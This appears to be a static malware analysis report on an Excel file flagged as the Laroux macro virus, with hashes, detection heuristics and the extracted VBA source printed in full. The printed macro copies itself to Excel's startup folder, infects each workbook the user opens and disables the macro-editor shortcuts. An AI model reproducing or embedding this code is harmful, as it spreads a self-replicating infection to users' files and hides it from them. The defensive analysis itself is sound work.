Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16d178032be73c96…

MALICIOUS

Office (OLE)

118.0 KB Created: 2008-02-28 07:44:19 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 93199cdbc5280723160b8cd5c37b6b20 SHA-1: 57e24ac9bc401a7fe74951dbfc532fec5ba0c018 SHA-256: 16d178032be73c96e3da54fdc2534ff8f7b5ee01c5e942569bc78779d5004a74
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This Excel document contains VBA macros, including an Auto_Open subroutine, which is a common technique for malware execution. The script attempts to copy itself to the Excel startup directory as 'StartUp.xls' to achieve persistence. The presence of the 'Doc.Macro.Laroux-5893719-0' ClamAV signature further indicates malicious intent.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 928 bytes
SHA-256: 68e21cc538090bffb81ec02e0ae5fc9433951691f7743d504cfe98af4479ef98
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

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